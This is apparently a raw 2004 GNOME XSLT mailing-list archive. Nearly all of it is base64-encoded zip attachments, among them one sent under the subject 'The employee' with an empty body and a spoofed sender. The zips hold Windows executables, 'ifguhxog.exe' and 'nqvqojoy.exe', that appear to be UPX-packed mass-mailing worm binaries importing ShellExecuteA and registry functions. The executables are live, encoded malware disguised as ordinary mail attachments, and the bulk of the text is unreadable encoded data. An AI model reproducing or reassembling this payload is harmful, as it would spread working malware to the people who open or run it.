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 an8ovpUnG7TGc5IAAAAAAAAAgAQA/wAAAAAAAAAAYL4AgEAAjb4AkP//V4PN/+sQkJCQkJCQ igZGiAdHAdt1B4seg+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJ g+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D 7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY/// /5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uVsAAACKB0cs6DwBd/eAPwB18osHil8EZsHo CMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJAAAIsHCcB0PItfBI2EMKSzAAAB81CDxwj/lgi0 AACVigdHCMB03In5V0jyrlX/lgy0AAAJwHQHiQODwwTr4f+WELQAAGHpWmL//wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAA AAAAAAAAAQABAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAUAAAAKTAAADoAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAQAAAHgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACQwwAA FAAAAAAAAAAAAAAAoJAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA /wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAACHd3d3d3d3d3d3d3cAAAAAj//////////////3AAAAAI//////////////9w AAAACP/3d3d3d3d3d3f/cAAAAAj/9///f/d3/3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3 d3d393f/d3//cAAAAAj/9///f/d3d3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3d3d393f/ d3//cCgoKCgoKCgof////3d//3CCgoKCgoKCgn//9/////9wKP///////yh3d3d3d3//cIL/ ///4KCiCf//3//9//3Ao8oKCgvKCKH//9///f/9wgvgoKC8oL4J3d3d3d3//cCjygoLygo8o f//3//9//3CC/ygvKCgvgn//9///f/9wKP/y8oKP/yh3d3d3d3//cIL/LygoKP+Cf//3//9/ /3Ao8vKCgoKPKH//9///f/9wgvgoKPgoL4J3d3d3gAAAACjygo//go8o/////4//eACC//// ////gv////+P94AAKCgoKCgoKCh3d3//j3gAAIKCgoKCgoKC/////4eAAAAAAAAI//////// //+IAAAAAAAACP//////////gAAAAAAAAAiIiIiIiIiIiIAAAAD///////////4AAAD+AAAA /gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAHAAAAD/4AAB/+AAA/ /gAAf4iTAAAAAAEAAQAgIBAAAQAEAOgCAAABAAAAAAAAAAAAAAAAADDEAAAIxAAAAAAAAAAA AAAAAAAAPcQAABjEAAAAAAAAAAAAAAAAAABKxAAAIMQAAAAAAAAAAAAAAAAAAFbEAAAoxAAA AAAAAAAAAAAAAAAAAAAAAAAAAABgxAAAbsQAAH7EAAAAAAAAjMQAAAAAAACaxAAAAAAAAKrE AAAAAAAAS0VSTkVMMzIuRExMAGFkdmFwaTMyLmRsbABTSEVMTDMyLmRsbAB1c2VyMzIuZGxs AABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3Nl S2V5AAAAU2hlbGxFeGVjdXRlQQAAAEZpbmRXaW5kb3dBAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAACghFsw Sh/MnQA+AAAAPgAADAAAAAAAAAAAACAAAAAAAAAAaWZndWh4b2cuZXhlUEsFBgAAAAABAAEA OgAAACo+AAAAAA== ----------hbexfcmuoouhjtnvlwiw-- From aleksey@aleksey.com Fri Feb 27 19:05:05 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from AJRJ8J11 (hostr9040.alcatel.com [143.209.144.64]) by mail.gnome.org (Postfix) with SMTP id 30AC518263 for ; Fri, 27 Feb 2004 19:05:05 -0500 (EST) Date: Fri, 27 Feb 2004 18:05:02 -0600 To: xslt@gnome.org From: aleksey@aleksey.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------vmepndgoflpjiymhigaq" Subject: [xslt] The employee Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: ----------vmepndgoflpjiymhigaq Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------vmepndgoflpjiymhigaq Content-Type: application/octet-stream; name="acaddcdc.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="adcc.zip" UEsDBAoAAAAAAGCPWzBKH8ydAD4AAAA+AAAMAAAAbnF2cW9qb3kuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 